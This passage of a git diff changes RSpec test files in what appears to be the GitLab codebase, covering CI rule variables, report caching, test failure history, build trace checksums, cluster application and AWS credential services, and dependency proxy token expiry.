+ - if: $CI_COMMIT_REF_NAME =~ /feature/
+ variables:
+ VAR2: overridden var 2
+ VAR3: new var 3
+ - when: on_success
+ EOY
+ end
+
+ let(:job) { pipeline.builds.find_by(name: 'job') }
+
+ context 'when matching to the first rule' do
+ let(:ref) { 'refs/heads/master' }
+
+ it 'overrides VAR1' do
+ variables = job.scoped_variables_hash
+
+ expect(variables['VAR1']).to eq('overridden var 1')
+ expect(variables['VAR2']).to eq('my var 2')
+ expect(variables['VAR3']).to be_nil
+ end
+
+ context 'when FF ci_rules_variables is disabled' do
+ before do
+ stub_feature_flags(ci_rules_variables: false)
+ end
+
+ it 'does not affect variables' do
+ variables = job.scoped_variables_hash
+
+ expect(variables['VAR1']).to eq('my var 1')
+ expect(variables['VAR2']).to eq('my var 2')
+ expect(variables['VAR3']).to be_nil
+ end
+ end
+ end
+
+ context 'when matching to the second rule' do
+ let(:ref) { 'refs/heads/feature' }
+
+ it 'overrides VAR2 and adds VAR3' do
+ variables = job.scoped_variables_hash
+
+ expect(variables['VAR1']).to eq('my var 1')
+ expect(variables['VAR2']).to eq('overridden var 2')
+ expect(variables['VAR3']).to eq('new var 3')
+ end
+ end
+
+ context 'when no match' do
+ let(:ref) { 'refs/heads/wip' }
+
+ it 'does not affect vars' do
+ variables = job.scoped_variables_hash
+
+ expect(variables['VAR1']).to eq('my var 1')
+ expect(variables['VAR2']).to eq('my var 2')
+ expect(variables['VAR3']).to be_nil
+ end
+ end
+ end
+ end
end
context 'when workflow:rules are used' do
diff --git a/spec/services/ci/generate_coverage_reports_service_spec.rb b/spec/services/ci/generate_coverage_reports_service_spec.rb
index d39053adebc..d12a9268e7e 100644
--- a/spec/services/ci/generate_coverage_reports_service_spec.rb
+++ b/spec/services/ci/generate_coverage_reports_service_spec.rb
@@ -52,34 +52,4 @@ RSpec.describe Ci::GenerateCoverageReportsService do
end
end
end
-
- describe '#latest?' do
- subject { service.latest?(base_pipeline, head_pipeline, data) }
-
- let!(:base_pipeline) { nil }
- let!(:head_pipeline) { create(:ci_pipeline, :with_test_reports, project: project) }
- let!(:key) { service.send(:key, base_pipeline, head_pipeline) }
-
- context 'when cache key is latest' do
- let(:data) { { key: key } }
-
- it { is_expected.to be_truthy }
- end
-
- context 'when cache key is outdated' do
- before do
- head_pipeline.update_column(:updated_at, 10.minutes.ago)
- end
-
- let(:data) { { key: key } }
-
- it { is_expected.to be_falsy }
- end
-
- context 'when cache key is empty' do
- let(:data) { { key: nil } }
-
- it { is_expected.to be_falsy }
- end
- end
end
diff --git a/spec/services/ci/generate_terraform_reports_service_spec.rb b/spec/services/ci/generate_terraform_reports_service_spec.rb
index 25bf96035b2..c9ac74e050c 100644
--- a/spec/services/ci/generate_terraform_reports_service_spec.rb
+++ b/spec/services/ci/generate_terraform_reports_service_spec.rb
@@ -64,33 +64,4 @@ RSpec.describe Ci::GenerateTerraformReportsService do
end
end
end
-
- describe '#latest?' do
- let_it_be(:head_pipeline) { create(:ci_pipeline, :with_test_reports, project: project) }
-
- subject { described_class.new(project) }
-
- it 'returns true when cache key is latest' do
- cache_key = subject.send(:key, nil, head_pipeline)
-
- result = subject.latest?(nil, head_pipeline, key: cache_key)
-
- expect(result).to eq(true)
- end
-
- it 'returns false when cache key is outdated' do
- cache_key = subject.send(:key, nil, head_pipeline)
- head_pipeline.update_column(:updated_at, 10.minutes.ago)
-
- result = subject.latest?(nil, head_pipeline, key: cache_key)
-
- expect(result).to eq(false)
- end
-
- it 'returns false when cache key is nil' do
- result = subject.latest?(nil, head_pipeline, key: nil)
-
- expect(result).to eq(false)
- end
- end
end
diff --git a/spec/services/ci/list_config_variables_service_spec.rb b/spec/services/ci/list_config_variables_service_spec.rb
index 95c98c2b5ef..1735f4cfc97 100644
--- a/spec/services/ci/list_config_variables_service_spec.rb
+++ b/spec/services/ci/list_config_variables_service_spec.rb
@@ -2,7 +2,9 @@
require 'spec_helper'
-RSpec.describe Ci::ListConfigVariablesService do
+RSpec.describe Ci::ListConfigVariablesService, :use_clean_rails_memory_store_caching do
+ include ReactiveCachingHelpers
+
let(:project) { create(:project, :repository) }
let(:user) { project.creator }
let(:service) { described_class.new(project, user) }
@@ -31,6 +33,10 @@ RSpec.describe Ci::ListConfigVariablesService do
}
end
+ before do
+ synchronous_reactive_cache(service)
+ end
+
it 'returns variable list' do
expect(subject['KEY1']).to eq({ value: 'val 1', description: 'description 1' })
expect(subject['KEY2']).to eq({ value: 'val 2', description: '' })
@@ -65,6 +71,8 @@ RSpec.describe Ci::ListConfigVariablesService do
HEREDOC
end
end
+
+ synchronous_reactive_cache(service)
end
it 'returns variable list' do
@@ -77,6 +85,10 @@ RSpec.describe Ci::ListConfigVariablesService do
let(:sha) { 'invalid-sha' }
let(:ci_config) { nil }
+ before do
+ synchronous_reactive_cache(service)
+ end
+
it 'returns empty json' do
expect(subject).to eq({})
end
@@ -96,11 +108,44 @@ RSpec.describe Ci::ListConfigVariablesService do
}
end
+ before do
+ synchronous_reactive_cache(service)
+ end
+
it 'returns empty result' do
expect(subject).to eq({})
end
end
+ context 'when reading from cache' do
+ let(:sha) { 'master' }
+ let(:ci_config) { {} }
+ let(:reactive_cache_params) { [sha] }
+ let(:return_value) { { 'KEY1' => { value: 'val 1', description: 'description 1' } } }
+
+ before do
+ stub_reactive_cache(service, return_value, reactive_cache_params)
+ end
+
+ it 'returns variable list' do
+ expect(subject).to eq(return_value)
+ end
+ end
+
+ context 'when the cache is empty' do
+ let(:sha) { 'master' }
+ let(:ci_config) { {} }
+ let(:reactive_cache_params) { [sha] }
+
+ it 'returns nil and enquques the worker to fill cache' do
+ expect(ExternalServiceReactiveCachingWorker)
+ .to receive(:perform_async)
+ .with(service.class, service.id, *reactive_cache_params)
+
+ expect(subject).to be_nil
+ end
+ end
+
private
def stub_gitlab_ci_yml_for_sha(sha, result)
diff --git a/spec/services/ci/pipelines/create_artifact_service_spec.rb b/spec/services/ci/pipelines/create_artifact_service_spec.rb
index 6f177889ed3..4e9248d9d1a 100644
--- a/spec/services/ci/pipelines/create_artifact_service_spec.rb
+++ b/spec/services/ci/pipelines/create_artifact_service_spec.rb
@@ -7,7 +7,8 @@ RSpec.describe ::Ci::Pipelines::CreateArtifactService do
subject { described_class.new.execute(pipeline) }
context 'when pipeline has coverage reports' do
- let(:pipeline) { create(:ci_pipeline, :with_coverage_reports) }
+ let(:project) { create(:project, :repository) }
+ let(:pipeline) { create(:ci_pipeline, :with_coverage_reports, project: project) }
context 'when pipeline is finished' do
it 'creates a pipeline artifact' do
diff --git a/spec/services/ci/test_cases_service_spec.rb b/spec/services/ci/test_cases_service_spec.rb
deleted file mode 100644
index b61d308640f..00000000000
--- a/spec/services/ci/test_cases_service_spec.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe Ci::TestCasesService, :aggregate_failures do
- describe '#execute' do
- subject(:execute_service) { described_class.new.execute(build) }
-
- context 'when build has test reports' do
- let(:build) { create(:ci_build, :success, :test_reports) } # The test report has 2 test case failures
-
- it 'creates test case failures records' do
- execute_service
-
- expect(Ci::TestCase.count).to eq(2)
- expect(Ci::TestCaseFailure.count).to eq(2)
- end
-
- context 'when feature flag for test failure history is disabled' do
- before do
- stub_feature_flags(test_failure_history: false)
- end
-
- it 'does not persist data' do
- execute_service
-
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
- end
- end
-
- context 'when build is not for the default branch' do
- before do
- build.update_column(:ref, 'new-feature')
- end
-
- it 'does not persist data' do
- execute_service
-
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
- end
- end
-
- context 'when test failure data have already been persisted with the same exact attributes' do
- before do
- execute_service
- end
-
- it 'does not fail but does not persist new data' do
- expect { described_class.new.execute(build) }.not_to raise_error
-
- expect(Ci::TestCase.count).to eq(2)
- expect(Ci::TestCaseFailure.count).to eq(2)
- end
- end
-
- context 'when test failure data have duplicates within the same payload (happens when the JUnit report has duplicate test case names but have different failures)' do
- let(:build) { create(:ci_build, :success, :test_reports_with_duplicate_failed_test_names) } # The test report has 2 test case failures but with the same test case keys
-
- it 'does not fail but does not persist duplicate data' do
- expect { described_class.new.execute(build) }.not_to raise_error
-
- expect(Ci::TestCase.count).to eq(1)
- expect(Ci::TestCaseFailure.count).to eq(1)
- end
- end
-
- context 'when number of failed test cases exceed the limit' do
- before do
- stub_const("#{described_class.name}::MAX_TRACKABLE_FAILURES", 1)
- end
-
- it 'does not persist data' do
- execute_service
-
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
- end
- end
- end
-
- context 'when build has no test reports' do
- let(:build) { create(:ci_build, :running) }
-
- it 'does not persist data' do
- execute_service
-
- expect(Ci::TestCase.count).to eq(0)
- expect(Ci::TestCaseFailure.count).to eq(0)
- end
- end
- end
-end
diff --git a/spec/services/ci/test_failure_history_service_spec.rb b/spec/services/ci/test_failure_history_service_spec.rb
new file mode 100644
index 00000000000..e858c85490d
--- /dev/null
+++ b/spec/services/ci/test_failure_history_service_spec.rb
@@ -0,0 +1,192 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe Ci::TestFailureHistoryService, :aggregate_failures do
+ describe '#execute' do
+ let(:project) { create(:project) }
+ let(:pipeline) { create(:ci_empty_pipeline, status: :created, project: project) }
+
+ subject(:execute_service) { described_class.new(pipeline).execute }
+
+ context 'when pipeline has failed builds with test reports' do
+ before do
+ # The test report has 2 test case failures
+ create(:ci_build, :failed, :test_reports, pipeline: pipeline, project: project)
+ end
+
+ it 'creates test case failures records' do
+ execute_service
+
+ expect(Ci::TestCase.count).to eq(2)
+ expect(Ci::TestCaseFailure.count).to eq(2)
+ end
+
+ context 'when feature flag for test failure history is disabled' do
+ before do
+ stub_feature_flags(test_failure_history: false)
+ end
+
+ it 'does not persist data' do
+ execute_service
+
+ expect(Ci::TestCase.count).to eq(0)
+ expect(Ci::TestCaseFailure.count).to eq(0)
+ end
+ end
+
+ context 'when pipeline is not for the default branch' do
+ before do
+ pipeline.update_column(:ref, 'new-feature')
+ end
+
+ it 'does not persist data' do
+ execute_service
+
+ expect(Ci::TestCase.count).to eq(0)
+ expect(Ci::TestCaseFailure.count).to eq(0)
+ end
+ end
+
+ context 'when test failure data have already been persisted with the same exact attributes' do
+ before do
+ execute_service
+ end
+
+ it 'does not fail but does not persist new data' do
+ expect { described_class.new(pipeline).execute }.not_to raise_error
+
+ expect(Ci::TestCase.count).to eq(2)
+ expect(Ci::TestCaseFailure.count).to eq(2)
+ end
+ end
+
+ context 'when number of failed test cases exceed the limit' do
+ before do
+ stub_const("#{described_class.name}::MAX_TRACKABLE_FAILURES", 1)
+ end
+
+ it 'does not persist data' do
+ execute_service
+
+ expect(Ci::TestCase.count).to eq(0)
+ expect(Ci::TestCaseFailure.count).to eq(0)
+ end
+ end
+
+ context 'when number of failed test cases across multiple builds exceed the limit' do
+ before do
+ stub_const("#{described_class.name}::MAX_TRACKABLE_FAILURES", 2)
+
+ # This other test report has 1 unique test case failure which brings us to 3 total failures across all builds
+ # thus exceeding the limit of 2 for MAX_TRACKABLE_FAILURES
+ create(:ci_build, :failed, :test_reports_with_duplicate_failed_test_names, pipeline: pipeline, project: project)
+ end
+
+ it 'does not persist data' do
+ execute_service
+
+ expect(Ci::TestCase.count).to eq(0)
+ expect(Ci::TestCaseFailure.count).to eq(0)
+ end
+ end
+ end
+
+ context 'when test failure data have duplicates within the same payload (happens when the JUnit report has duplicate test case names but have different failures)' do
+ before do
+ # The test report has 2 test case failures but with the same test case keys
+ create(:ci_build, :failed, :test_reports_with_duplicate_failed_test_names, pipeline: pipeline, project: project)
+ end
+
+ it 'does not fail but does not persist duplicate data' do
+ expect { execute_service }.not_to raise_error
+
+ expect(Ci::TestCase.count).to eq(1)
+ expect(Ci::TestCaseFailure.count).to eq(1)
+ end
+ end
+
+ context 'when pipeline has no failed builds with test reports' do
+ before do
+ create(:ci_build, :test_reports, pipeline: pipeline, project: project)
+ create(:ci_build, :failed, pipeline: pipeline, project: project)
+ end
+
+ it 'does not persist data' do
+ execute_service
+
+ expect(Ci::TestCase.count).to eq(0)
+ expect(Ci::TestCaseFailure.count).to eq(0)
+ end
+ end
+ end
+
+ describe '#should_track_failures?' do
+ let(:project) { create(:project, :repository) }
+ let(:pipeline) { create(:ci_empty_pipeline, status: :created, project: project, ref: project.default_branch) }
+
+ subject { described_class.new(pipeline).should_track_failures? }
+
+ before do
+ create(:ci_build, :test_reports, :failed, pipeline: pipeline, project: project)
+ create(:ci_build, :test_reports, :failed, pipeline: pipeline, project: project)
+ end
+
+ context 'when feature flag is enabled and pipeline ref is the default branch' do
+ it { is_expected.to eq(true) }
+ end
+
+ context 'when feature flag is disabled' do
+ before do
+ stub_feature_flags(test_failure_history: false)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when pipeline is not equal to the project default branch' do
+ before do
+ pipeline.update_column(:ref, 'some-other-branch')
+ end
+
+ it { is_expected.to eq(false) }
+ end
+
+ context 'when total number of builds with failed tests exceeds the max number of trackable failures' do
+ before do
+ stub_const("#{described_class.name}::MAX_TRACKABLE_FAILURES", 1)
+ end
+
+ it { is_expected.to eq(false) }
+ end
+ end
+
+ describe '#async' do
+ let(:pipeline) { double(id: 1) }
+ let(:service) { described_class.new(pipeline) }
+
+ context 'when service should track failures' do
+ before do
+ allow(service).to receive(:should_track_failures?).and_return(true)
+ end
+
+ it 'enqueues the worker when #perform_if_needed is called' do
+ expect(Ci::TestFailureHistoryWorker).to receive(:perform_async).with(pipeline.id)
+
+ service.async.perform_if_needed
+ end
+ end
+
+ context 'when service should not track failures' do
+ before do
+ allow(service).to receive(:should_track_failures?).and_return(false)
+ end
+
+ it 'does not enqueue the worker when #perform_if_needed is called' do
+ expect(Ci::TestFailureHistoryWorker).not_to receive(:perform_async)
+
+ service.async.perform_if_needed
+ end
+ end
+ end
+end
diff --git a/spec/services/ci/update_build_state_service_spec.rb b/spec/services/ci/update_build_state_service_spec.rb
index 2545909bf56..3112e5dda1b 100644
--- a/spec/services/ci/update_build_state_service_spec.rb
+++ b/spec/services/ci/update_build_state_service_spec.rb
@@ -80,7 +80,11 @@ RSpec.describe Ci::UpdateBuildStateService do
context 'when build has a checksum' do
let(:params) do
- { checksum: 'crc32:12345678', state: 'failed', failure_reason: 'script_failure' }
+ {
+ output: { checksum: 'crc32:12345678', bytesize: 123 },
+ failure_reason: 'script_failure',
+ state: 'failed'
+ }
end
context 'when build does not have associated trace chunks' do
@@ -154,14 +158,74 @@ RSpec.describe Ci::UpdateBuildStateService do
end
context 'when trace checksum is valid' do
- let(:params) { { checksum: 'crc32:ed82cd11', state: 'success' } }
+ let(:params) do
+ { output: { checksum: 'crc32:ed82cd11', bytesize: 4 }, state: 'success' }
+ end
- it 'does not increment invalid trace metric' do
+ it 'does not increment invalid or corrupted trace metric' do
execute_with_stubbed_metrics!
expect(metrics)
.not_to have_received(:increment_trace_operation)
.with(operation: :invalid)
+
+ expect(metrics)
+ .not_to have_received(:increment_trace_operation)
+ .with(operation: :corrupted)
+ end
+
+ context 'when using deprecated parameters' do
+ let(:params) do
+ { checksum: 'crc32:ed82cd11', state: 'success' }
+ end
+
+ it 'does not increment invalid or corrupted trace metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .not_to have_received(:increment_trace_operation)
+ .with(operation: :invalid)
+
+ expect(metrics)
+ .not_to have_received(:increment_trace_operation)
+ .with(operation: :corrupted)
+ end
+ end
+ end
+
+ context 'when trace checksum is invalid and the log is corrupted' do
+ let(:params) do
+ { output: { checksum: 'crc32:12345678', bytesize: 1 }, state: 'success' }
+ end
+
+ it 'increments invalid and corrupted trace metrics' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :invalid)
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :corrupted)
+ end
+ end
+
+ context 'when trace checksum is invalid but the log seems fine' do
+ let(:params) do
+ { output: { checksum: 'crc32:12345678', bytesize: 4 }, state: 'success' }
+ end
+
+ it 'does not increment corrupted trace metric' do
+ execute_with_stubbed_metrics!
+
+ expect(metrics)
+ .to have_received(:increment_trace_operation)
+ .with(operation: :invalid)
+
+ expect(metrics)
+ .not_to have_received(:increment_trace_operation)
+ .with(operation: :corrupted)
end
end
diff --git a/spec/services/clusters/applications/create_service_spec.rb b/spec/services/clusters/applications/create_service_spec.rb
index f93ae2c62f3..f3b420510a6 100644
--- a/spec/services/clusters/applications/create_service_spec.rb
+++ b/spec/services/clusters/applications/create_service_spec.rb
@@ -7,7 +7,7 @@ RSpec.describe Clusters::Applications::CreateService do
let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
let(:user) { create(:user) }
- let(:params) { { application: 'helm' } }
+ let(:params) { { application: 'ingress' } }
let(:service) { described_class.new(cluster, user, params) }
describe '#execute' do
@@ -23,16 +23,16 @@ RSpec.describe Clusters::Applications::CreateService do
subject
cluster.reload
- end.to change(cluster, :application_helm)
+ end.to change(cluster, :application_ingress)
end
context 'application already installed' do
- let!(:application) { create(:clusters_applications_helm, :installed, cluster: cluster) }
+ let!(:application) { create(:clusters_applications_ingress, :installed, cluster: cluster) }
it 'does not create a new application' do
expect do
subject
- end.not_to change(Clusters::Applications::Helm, :count)
+ end.not_to change(Clusters::Applications::Ingress, :count)
end
it 'schedules an upgrade for the application' do
@@ -43,10 +43,6 @@ RSpec.describe Clusters::Applications::CreateService do
end
context 'known applications' do
- before do
- create(:clusters_applications_helm, :installed, cluster: cluster)
- end
-
context 'ingress application' do
let(:params) do
{
@@ -215,19 +211,17 @@ RSpec.describe Clusters::Applications::CreateService do
using RSpec::Parameterized::TableSyntax
- where(:application, :association, :allowed, :pre_create_helm, :pre_create_ingress) do
- 'helm' | :application_helm | true | false | false
- 'ingress' | :application_ingress | true | true | false
- 'runner' | :application_runner | true | true | false
- 'prometheus' | :application_prometheus | true | true | false
- 'jupyter' | :application_jupyter | true | true | true
+ where(:application, :association, :allowed, :pre_create_ingress) do
+ 'ingress' | :application_ingress | true | false
+ 'runner' | :application_runner | true | false
+ 'prometheus' | :application_prometheus | true | false
+ 'jupyter' | :application_jupyter | true | true
end
with_them do
before do
klass = "Clusters::Applications::#{application.titleize}"
allow_any_instance_of(klass.constantize).to receive(:make_scheduled!).and_call_original
- create(:clusters_applications_helm, :installed, cluster: cluster) if pre_create_helm
create(:clusters_applications_ingress, :installed, cluster: cluster, external_hostname: 'example.com') if pre_create_ingress
end
@@ -252,7 +246,7 @@ RSpec.describe Clusters::Applications::CreateService do
it 'makes the application scheduled' do
expect do
subject
- end.to change { Clusters::Applications::Helm.with_status(:scheduled).count }.by(1)
+ end.to change { Clusters::Applications::Ingress.with_status(:scheduled).count }.by(1)
end
it 'schedules an install via worker' do
@@ -266,7 +260,7 @@ RSpec.describe Clusters::Applications::CreateService do
end
context 'when application is associated with a cluster' do
- let(:application) { create(:clusters_applications_helm, :installable, cluster: cluster) }
+ let(:application) { create(:clusters_applications_ingress, :installable, cluster: cluster) }
let(:worker_arguments) { [application.name, application.id] }
it_behaves_like 'installable applications'
@@ -280,7 +274,7 @@ RSpec.describe Clusters::Applications::CreateService do
end
context 'when installation is already in progress' do
- let!(:application) { create(:clusters_applications_helm, :installing, cluster: cluster) }
+ let!(:application) { create(:clusters_applications_ingress, :installing, cluster: cluster) }
it 'raises an exception' do
expect { subject }
@@ -295,7 +289,7 @@ RSpec.describe Clusters::Applications::CreateService do
context 'when application is installed' do
%i(installed updated).each do |status|
- let(:application) { create(:clusters_applications_helm, status, cluster: cluster) }
+ let(:application) { create(:clusters_applications_ingress, status, cluster: cluster) }
it 'schedules an upgrade via worker' do
expect(ClusterUpgradeAppWorker)
diff --git a/spec/services/clusters/applications/prometheus_health_check_service_spec.rb b/spec/services/clusters/applications/prometheus_health_check_service_spec.rb
index fc5a80688e6..ee47d00f700 100644
--- a/spec/services/clusters/applications/prometheus_health_check_service_spec.rb
+++ b/spec/services/clusters/applications/prometheus_health_check_service_spec.rb
@@ -18,7 +18,7 @@ RSpec.describe Clusters::Applications::PrometheusHealthCheckService, '#execute'
RSpec.shared_examples 'sends alert' do
it 'sends an alert' do
expect_next_instance_of(Projects::Alerting::NotifyService) do |notify_service|
- expect(notify_service).to receive(:execute).with(alerts_service.token)
+ expect(notify_service).to receive(:execute).with(integration.token, integration)
end
subject
@@ -40,8 +40,8 @@ RSpec.describe Clusters::Applications::PrometheusHealthCheckService, '#execute'
end
context 'when cluster is project_type' do
- let_it_be(:alerts_service) { create(:alerts_service) }
- let_it_be(:project) { create(:project, alerts_service: alerts_service) }
+ let_it_be(:project) { create(:project) }
+ let_it_be(:integration) { create(:alert_management_http_integration, project: project) }
let(:applications_prometheus_healthy) { true }
let(:prometheus) { create(:clusters_applications_prometheus, status: prometheus_status_value, healthy: applications_prometheus_healthy) }
let(:cluster) { create(:cluster, :project, application_prometheus: prometheus, projects: [project]) }
diff --git a/spec/services/clusters/aws/authorize_role_service_spec.rb b/spec/services/clusters/aws/authorize_role_service_spec.rb
index 302bae6e3ff..17bbc372675 100644
--- a/spec/services/clusters/aws/authorize_role_service_spec.rb
+++ b/spec/services/clusters/aws/authorize_role_service_spec.rb
@@ -40,7 +40,7 @@ RSpec.describe Clusters::Aws::AuthorizeRoleService do
shared_examples 'bad request' do
it 'returns an empty hash' do
expect(subject.status).to eq(:unprocessable_entity)
- expect(subject.body).to eq({})
+ expect(subject.body).to eq({ message: message })
end
it 'logs the error' do
@@ -52,12 +52,14 @@ RSpec.describe Clusters::Aws::AuthorizeRoleService do
context 'role does not exist' do
let(:user) { create(:user) }
+ let(:message) { 'Error: Unable to find AWS role for current user' }
include_examples 'bad request'
end
context 'supplied ARN is invalid' do
let(:role_arn) { 'invalid' }
+ let(:message) { 'Validation failed: Role arn must be a valid Amazon Resource Name' }
include_examples 'bad request'
end
@@ -69,18 +71,29 @@ RSpec.describe Clusters::Aws::AuthorizeRoleService do
context 'error fetching credentials' do
let(:error) { Aws::STS::Errors::ServiceError.new(nil, 'error message') }
+ let(:message) { 'AWS service error: error message' }
+
+ include_examples 'bad request'
+ end
+
+ context 'error in assuming role' do
+ let(:raw_message) { "User foo is not authorized to perform: sts:AssumeRole on resource bar" }
+ let(:error) { Aws::STS::Errors::AccessDenied.new(nil, raw_message) }
+ let(:message) { "Access denied: #{raw_message}" }
include_examples 'bad request'
end
context 'credentials not configured' do
let(:error) { Aws::Errors::MissingCredentialsError.new('error message') }
+ let(:message) { "Error: No AWS credentials were supplied" }
include_examples 'bad request'
end
context 'role not configured' do
let(:error) { Clusters::Aws::FetchCredentialsService::MissingRoleError.new('error message') }
+ let(:message) { "Error: No AWS provision role found for user" }
include_examples 'bad request'
end
diff --git a/spec/services/clusters/aws/fetch_credentials_service_spec.rb b/spec/services/clusters/aws/fetch_credentials_service_spec.rb
index 361a947f634..0358ca1f535 100644
--- a/spec/services/clusters/aws/fetch_credentials_service_spec.rb
+++ b/spec/services/clusters/aws/fetch_credentials_service_spec.rb
@@ -60,9 +60,7 @@ RSpec.describe Clusters::Aws::FetchCredentialsService do
subject { described_class.new(provision_role, provider: provider).execute }
before do
- allow(File).to receive(:read)
- .with(Rails.root.join('vendor', 'aws', 'iam', 'eks_cluster_read_only_policy.json'))
- .and_return(session_policy)
+ stub_file_read(Rails.root.join('vendor', 'aws', 'iam', 'eks_cluster_read_only_policy.json'), content: session_policy)
end
it { is_expected.to eq assumed_role_credentials }
@@ -83,5 +81,59 @@ RSpec.describe Clusters::Aws::FetchCredentialsService do
expect { subject }.to raise_error(described_class::MissingRoleError, 'AWS provisioning role not configured')
end
end
+
+ context 'with an instance profile attached to an IAM role' do
+ let(:sts_client) { Aws::STS::Client.new(region: region, stub_responses: true) }
+ let(:provision_role) { create(:aws_role, user: user, region: 'custom-region') }
+
+ before do
+ stub_application_setting(eks_access_key_id: nil)
+ stub_application_setting(eks_secret_access_key: nil)
+
+ expect(Aws::STS::Client).to receive(:new)
+ .with(region: region)
+ .and_return(sts_client)
+
+ expect(Aws::AssumeRoleCredentials).to receive(:new)
+ .with(
+ client: sts_client,
+ role_arn: provision_role.role_arn,
+ role_session_name: session_name,
+ external_id: provision_role.role_external_id,
+ policy: session_policy
+ ).and_call_original
+ end
+
+ context 'provider is specified' do
+ let(:region) { provider.region }
+ let(:session_name) { "gitlab-eks-cluster-#{provider.cluster_id}-user-#{user.id}" }
+ let(:session_policy) { nil }
+
+ it 'returns credentials', :aggregate_failures do
+ expect(subject.access_key_id).to be_present
+ expect(subject.secret_access_key).to be_present
+ expect(subject.session_token).to be_present
+ end
+ end
+
+ context 'provider is not specifed' do
+ let(:provider) { nil }
+ let(:region) { provision_role.region }
+ let(:session_name) { "gitlab-eks-autofill-user-#{user.id}" }
+ let(:session_policy) { 'policy-document' }
+
+ before do
+ stub_file_read(Rails.root.join('vendor', 'aws', 'iam', 'eks_cluster_read_only_policy.json'), content: session_policy)
+ end
+
+ subject { described_class.new(provision_role, provider: provider).execute }
+
+ it 'returns credentials', :aggregate_failures do
+ expect(subject.access_key_id).to be_present
+ expect(subject.secret_access_key).to be_present
+ expect(subject.session_token).to be_present
+ end
+ end
+ end
end
end
diff --git a/spec/services/clusters/aws/provision_service_spec.rb b/spec/services/clusters/aws/provision_service_spec.rb
index 52612e5ac40..5efac29ec1e 100644
--- a/spec/services/clusters/aws/provision_service_spec.rb
+++ b/spec/services/clusters/aws/provision_service_spec.rb
@@ -42,9 +42,7 @@ RSpec.describe Clusters::Aws::ProvisionService do
allow(provider).to receive(:api_client)
.and_return(client)
- allow(File).to receive(:read)
- .with(Rails.root.join('vendor', 'aws', 'cloudformation', 'eks_cluster.yaml'))
- .and_return(cloudformation_template)
+ stub_file_read(Rails.root.join('vendor', 'aws', 'cloudformation', 'eks_cluster.yaml'), content: cloudformation_template)
end
it 'updates the provider status to :creating and configures the provider with credentials' do
diff --git a/spec/services/clusters/cleanup/app_service_spec.rb b/spec/services/clusters/cleanup/app_service_spec.rb
index ba1be7448a4..ea1194d2100 100644
--- a/spec/services/clusters/cleanup/app_service_spec.rb
+++ b/spec/services/clusters/cleanup/app_service_spec.rb
@@ -67,7 +67,8 @@ RSpec.describe Clusters::Cleanup::AppService do
it 'only uninstalls apps that are not dependencies for other installed apps' do
expect(Clusters::Applications::UninstallWorker)
- .not_to receive(:perform_async).with(helm.name, helm.id)
+ .to receive(:perform_async).with(helm.name, helm.id)
+ .and_call_original
expect(Clusters::Applications::UninstallWorker)
.not_to receive(:perform_async).with(ingress.name, ingress.id)
@@ -85,7 +86,7 @@ RSpec.describe Clusters::Cleanup::AppService do
it 'logs application uninstalls and next execution' do
expect(logger).to receive(:info)
- .with(log_meta.merge(event: :uninstalling_app, application: kind_of(String))).twice
+ .with(log_meta.merge(event: :uninstalling_app, application: kind_of(String))).exactly(3).times
expect(logger).to receive(:info)
.with(log_meta.merge(event: :scheduling_execution, next_execution: 1))
diff --git a/spec/services/concerns/exclusive_lease_guard_spec.rb b/spec/services/concerns/exclusive_lease_guard_spec.rb
index d54ba6abadd..6a2aa0a377b 100644
--- a/spec/services/concerns/exclusive_lease_guard_spec.rb
+++ b/spec/services/concerns/exclusive_lease_guard_spec.rb
@@ -51,7 +51,7 @@ RSpec.describe ExclusiveLeaseGuard, :clean_gitlab_redis_shared_state do
it 'does not call internal_method but logs error', :aggregate_failures do
expect(subject).not_to receive(:internal_method)
- expect(Gitlab::AppLogger).to receive(:error).with("Cannot obtain an exclusive lease for #{subject.class.name}. There must be another instance already in execution.")
+ expect(Gitlab::AppLogger).to receive(:error).with("Cannot obtain an exclusive lease for #{subject.lease_key}. There must be another instance already in execution.")
subject.call
end
diff --git a/spec/services/container_expiration_policies/cleanup_service_spec.rb b/spec/services/container_expiration_policies/cleanup_service_spec.rb
index 2da35cfc3fb..8438073ceb0 100644
--- a/spec/services/container_expiration_policies/cleanup_service_spec.rb
+++ b/spec/services/container_expiration_policies/cleanup_service_spec.rb
@@ -28,6 +28,7 @@ RSpec.describe ContainerExpirationPolicies::CleanupService do
expect(ContainerRepository.waiting_for_cleanup.count).to eq(0)
expect(repository.reload.cleanup_unscheduled?).to be_truthy
expect(repository.expiration_policy_started_at).to eq(nil)
+ expect(repository.expiration_policy_completed_at).not_to eq(nil)
end
end
end
@@ -45,6 +46,7 @@ RSpec.describe ContainerExpirationPolicies::CleanupService do
expect(ContainerRepository.waiting_for_cleanup.count).to eq(1)
expect(repository.reload.cleanup_unfinished?).to be_truthy
expect(repository.expiration_policy_started_at).not_to eq(nil)
+ expect(repository.expiration_policy_completed_at).to eq(nil)
end
end
end
diff --git a/spec/services/dependency_proxy/auth_token_service_spec.rb b/spec/services/dependency_proxy/auth_token_service_spec.rb
new file mode 100644
index 00000000000..4b96f9d75a9
--- /dev/null
+++ b/spec/services/dependency_proxy/auth_token_service_spec.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+require 'spec_helper'
+
+RSpec.describe DependencyProxy::AuthTokenService do
+ include DependencyProxyHelpers
+
+ describe '.decoded_token_payload' do
+ let_it_be(:user) { create(:user) }
+ let_it_be(:token) { build_jwt(user) }
+
+ subject { described_class.decoded_token_payload(token.encoded) }
+
+ it 'returns the user' do
+ result = subject
+
+ expect(result['user_id']).to eq(user.id)
+ end
+
+ it 'raises an error if the token is expired' do
+ travel_to(Time.zone.now + Auth::DependencyProxyAuthenticationService.token_expire_at + 1.minute) do
+ expect { subject }.to raise_error(JWT::ExpiredSignature)
+ end
+ end
+
+ it 'raises an error if decoding fails' do
